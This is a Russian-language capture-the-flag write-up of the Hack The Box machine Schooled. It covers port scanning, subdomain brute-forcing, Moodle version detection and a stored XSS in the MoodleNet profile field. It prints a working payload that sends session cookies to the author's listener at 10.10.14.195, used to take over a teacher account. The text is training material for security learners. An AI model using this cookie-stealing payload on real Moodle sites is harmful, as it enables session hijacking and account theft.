Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье нам предстоит пройти все ступени повышения привилегий на платформе для онлайнового обучения Moodle — вплоть до получения реверс‑шелла и дампа учетных данных из базы платформы. Затем мы повысим привилегии через установку кастомного пакета FreeBSD. Проделывать все это мы будем для захвата машины Schooled с площадки Hack The Box.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Адрес машины — 10.10.10.234, добавляем его в /etc/hosts
и начинаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Находим три открытых порта: 22 (служба SSH), 80 (веб‑сервер Apache 2.4.46) и 33060. Первым делом пройдемся по сайту и соберем информацию.
Стартовая страница сайта
На странице About мы находим почту для связи, а также домен — schooled.htb
.
Страница About
Больше ничего найти не удалось, а так как schooled.htb
оказался зарегистрированным доменом, стоит помимо сканирования файлов и директорий перебрать также и поддомены. Я это делаю с помощью Burp Intruder — он умеет продолжать сканировать после обрыва соединения. Перенаправляем запрос в Intruder, указываем словарь /Discovery/DNS/subdomains-top1million-5000.txt
из набора SecLists, а также установим 120 потоков.
Настройка Burp — Positions
Настройка Burp — Payloads
Настройка Burp — Options
Результат перебора
И мы находим новый поддомен — moodle.schooled.htb
. Сразу добавим его в /etc/hosts
и посмотрим, что там.
Стартовая страница Moodle
Moodle — это веб‑приложение, при помощи которого можно делать сайты для онлайнового обучения. Система позволяет настраивать макеты страниц, к тому же можно наладить интеграцию с разным ПО, включая инструменты для общения, совместной работы и управления документами. Что очень важно, Moodle распространяется свободно и имеет открытый исходный код.
Форма авторизации Moodle
Так как мы имеем дело с готовым продуктом, нет смысла «тыкать кавычки» самостоятельно. Гораздо продуктивнее будет узнать точную версию и поискать информацию или отчеты об уже имеющихся уязвимостях, а возможно, и готовые эксплоиты. Можно найти исходные коды на GitHub и узнать, где в программе расположена информация о текущей версии. Смотрим, что у нас на сервере, и узнаем, что используется версия 3.9.
Файл upgrade.txt в репозиториях GitHub
Запрос файла upgrade.txt на сервере
Теперь можем поискать информацию об уязвимостях и готовых эксплоитах.
Справка: поиск готовых эксплоитов
При пентесте лучше всего искать эксплоиты при помощи Google, поскольку этот поисковик заглядывает и в личные блоги, и в самые разные отчеты. Ускорят дело специализированные базы вроде Exploit-DB — там часто можно обнаружить подходящие варианты. Если ты работаешь в специализированной ОС вроде Kali Linux, то эта база у тебя уже есть и для поиска можно использовать утилиту searchsploit
.
Эксплоиты, найденные searchsploit
Для версии 3.9 эксплоитов нет, но есть для более свежей 3.10.3. Стоит ее попробовать, так как есть вероятность, что уязвимость присутствует и в ранних версиях. Посмотрим детали уязвимости.
searchsploit -p php/webapps/49714.txt
Получение эксплоита
Описание уязвимости
Эта версия уязвима к атаке XSS, причем хранимой. Для проверки уязвимости регистрируемся и авторизуемся в системе. Внедрить код можно через поле MoodleNet profile в настройках пользователя. Давай внедрим следующий код, который будет показывать окошко с текстом 1
.
<img src="1" onerror="alert(1)" />
Сохранение нагрузки
Так как это Stored XSS, код будет выполняться каждый раз при просмотре пользователем нашего профиля.
Выполнение кода при просмотре профиля
Так как уязвимость подтверждена, мы можем украсть cookie. Для этого откроем на локальном хосте веб‑сервер python3
.
python3 -m http.server 8888
А теперь внедрим код, который будет загружать с нашего сервера картинку, а в качестве параметра будем передавать куки. Так они и попадут к нам.
<img src="1" onerror='this.src="http://10.10.14.195:8888/cookie="+document.cookie' />
Логи веб‑сервера
Среди множества запросов мы находим тот, значение параметра которого отличается. Подставляем полученные cookie и перезагружаем страницу. Так мы начинаем работать под учетной записью преподавателя.
Текущий пользователь
Источник: xakep.ru